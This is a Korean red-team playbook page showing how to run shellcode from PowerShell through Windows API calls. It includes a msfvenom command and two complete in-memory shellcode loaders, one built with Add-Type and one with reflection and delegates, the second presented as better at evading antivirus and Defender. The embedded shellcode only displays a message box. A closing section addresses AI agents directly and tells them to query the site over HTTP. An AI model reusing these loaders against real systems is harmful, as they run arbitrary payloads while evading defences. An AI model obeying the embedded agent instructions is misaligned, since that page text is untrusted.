# 윈도우 API 실행

파워쉘에서는 윈도우 API를 실행할 수 있는 총 세 가지 방법이 있다.

* Add-Type
* .NET 어셈블리가 사용하는 윈도우 API를 찾아 실행하는 방법
* 윈도우 API의 메모리상 주소를 알아내고, 함수 포인터를 만든 뒤, 다이내믹 Assembly, Module, Type, Method 과 Delegate를 이용해 이 함수 포인터로 윈도우 API를 실행하는 방법

이 페이지에서는 1번과 3번에 대해서 알아본다.

### Add-Type

Add-Type 은 마이크로소프트사에서 공식적으로 지원하는 파워쉘에서 윈도우 API를 사용하는 방법 중 하나다. 더 정확하게 말하자면 파워쉘에서 C# 클래스를 작성한 뒤 메모리상에서 컴파일 하고 실행하는 함수 중 하나다.

먼저 PoC 쉘코드로 사용할 쉘코드를 msfvenom을 이용해 제작한다.

```
msfvenom -p windows/x64/messagebox text="stage0 shellcode" title="choi redteam playbook" -f ps1
```

다음은 파워쉘에서 윈도우 API를 이용해 MessageBox 쉘코드를 실행하는 PoC다.

<details>

<summary>Invoke-Addtype.ps1</summary>

```powershell
$csharpCode = @"

using System;
using System.Runtime.InteropServices;

public class winAPIClass { 

    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32", CharSet = CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
"@

Add-Type $csharpCode

[Byte[]] $buf = 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x3e,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x6f,0x48,0x1,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x3e,0x41,0x8b,0xc,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x3e,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x0,0x0,0x0,0x0,0x3e,0x48,0x8d,0x95,0xfe,0x0,0x0,0x0,0x3e,0x4c,0x8d,0x85,0xf,0x1,0x0,0x0,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x7,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x73,0x74,0x61,0x67,0x65,0x30,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x0,0x63,0x68,0x6f,0x69,0x20,0x72,0x65,0x64,0x74,0x65,0x61,0x6d,0x20,0x70,0x6c,0x61,0x79,0x62,0x6f,0x6f,0x6b,0x0

# Page commit | reserve, RWX 
$pAlloc = [winAPIClass]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $pAlloc, $buf.Length)
$pThread = [winAPIClass]::CreateThread(0,0,$pAlloc,0,0,0)        
```

</details>

![](/files/q8l2ujwcuRjiMIzGz3Ip)

#### 대응 방안

Add-Type이 실행될 때 C# 코드가 메모리상에서 컴파일 된다고 위에서 얘기했었다. 더 자세하게 얘기하자면 `csc.exe` 를 이용해 메모리상에서 C# 코드를 컴파일 하지만, 그 와중에 임시 파일을 디스크위에 작성한다.

![](/files/4pMKh6tKYRVW0YDoTLdb)

![](/files/PWGV8bfDQry5Br9D4jws)

2022년도 기준 `Add-Type` 를 이용한 파워쉘에서의 C# 코드 및 윈도우 API 실행은 유명한 TTP라 왠만한 AV/EDR 솔루션들 및 윈도우 디펜더는 이를 기본적으로 막는다.

### Dynamic Method

다음 코드들은 다음 두 개의 레퍼런스 - [Matt Graeber](https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-3/), [mez0](https://mez0.cc/posts/cobaltstrike-powershell-exec/), [DepthSecurity](https://depthsecurity.com/blog/obfuscating-malicious-macro-enabled-word-docs) 라는 분들의 코드 참고했다. 먼저 `LookUpFunction` 이라는 함수로 현 .NET AppDomain에 있는 어셈블리들 중 `System.dll` 닷넷 어셈블리를 찾고, 그 중 `UnsafeNativeMethod` 를 찾는다. 그 뒤, `GetMethods()` 함수를 통해 닷넷 어셈블리에서 `GetProcAddress` 와 `GetModuleHandle` 윈도우API를 찾는다. 그 뒤, 이들을 이용해 파라미터로 받아온 ModuleName과 FunctionName을 찾는다.

```powershell
# Unmanaged DLL 이름과 winAPI함수 이름을 입력값으로 받고, 함수 포인터를 반환함. 
function LookUpFunc {
    Param($module, $funcName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $GetProcAddress = $assem.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($module)))), $funcName))
}
```

결국 `$fPointer = LookUpfunction Kernel32.dll VirtualAlloc` 과 같은 파워쉘 코드를 이용하면 `VirtualAlloc` 의 위치를 가르키는 함수 포인터를 생성할 수 있게 된다.

함수 포인터가 있다고 해서 그것을 무작정 사용할 수는 없다. 함수 포인터가 가르키는 메모리는 어떻게 읽어야하는가? 몇개의 argument 가 있고, 어떤 타입의 argument 들이 있는가? 리턴하는 데이터 타입은? 에 대한 설명을 기반으로 함수 포인터를 실행해야 하는데, C#과 파워쉘에서는 이를 `Delegate` 을 통해서 해결한다.

다음은 파워쉘에서 Delegate 을 만들고 그것을 기반으로 위에서 받아온 함수 포인터를 실행하는 코드다. 다이내믹 어셈블리, 모듈, 타입, 프로토타입, 매써드 등을 만든 뒤 DelegateType을 반환한다.

```powershell
# 함수 시그니쳐와 반환값을 입력값으로 받고, DelegateType을 반환함. 
function getDelegateType{
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',$false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime,Managed')
    $type.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$delType, $func).SetImplementationFlags('Runtime,Managed')
    return $type.CreateType()
}
```

이 `getDelegateType` 함수는 다음과 같이 쓴다.

```powershell
$pVirtualAlloc = LookUpFunc "kernel32.dll" "VirtualAlloc" 
$dtVirtualAlloc = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pVitualAlloc, $dtVirtualAlloc)
```

이를 기반으로 위 `Add-Type` 예시에서 만들었던 메시지 박스 쉘코드를 실행하는 파워쉘 페이로드를 만들면 다음과 같다.

```powershell
# All credit to https://mez0.cc/posts/cobaltstrike-powershell-exec/
function LookUpFunc {
    Param($module, $funcName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    $GetProcAddress = $assem.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))

    return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($module)))), $funcName))
}

# All credit to https://depthsecurity.com/blog/obfuscating-malicious-macro-enabled-word-docs
function getDelegateType{
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',$false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime,Managed')
    $type.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$delType, $func).SetImplementationFlags('Runtime,Managed')
    return $type.CreateType()
}

[Byte[]] $buf = 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x3e,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x6f,0x48,0x1,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x3e,0x41,0x8b,0xc,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x3e,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x0,0x0,0x0,0x0,0x3e,0x48,0x8d,0x95,0xfe,0x0,0x0,0x0,0x3e,0x4c,0x8d,0x85,0xf,0x1,0x0,0x0,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x7,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x73,0x74,0x61,0x67,0x65,0x30,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x0,0x63,0x68,0x6f,0x69,0x20,0x72,0x65,0x64,0x74,0x65,0x61,0x6d,0x20,0x70,0x6c,0x61,0x79,0x62,0x6f,0x6f,0x6b,0x0
$pAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookUpFunc Kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $pAlloc, $buf.Length)
$pThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookUpFunc Kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $pAlloc, [IntPtr]::Zero, 0, [IntPtr]::Zero)
```

위 Dynamic Method 방법의 경우 C# 이 컴파일이 되는 것이 아니기 때문에 디스크상의 임시 파일이 쓰여질 일도 없다. 따라서 기본적인 AV나 디펜더를 우회하는데 좀 더 유리하다.

### 레퍼런스

{% embed url="<https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-1/>" %}

{% embed url="<https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-2/>" %}

{% embed url="<https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-3/>" %}

{% embed url="<https://mez0.cc/posts/cobaltstrike-powershell-exec/>" %}

{% embed url="<https://depthsecurity.com/blog/obfuscating-malicious-macro-enabled-word-docs>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xn--hy1b43d247a.com/execution/powershell/winapi-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
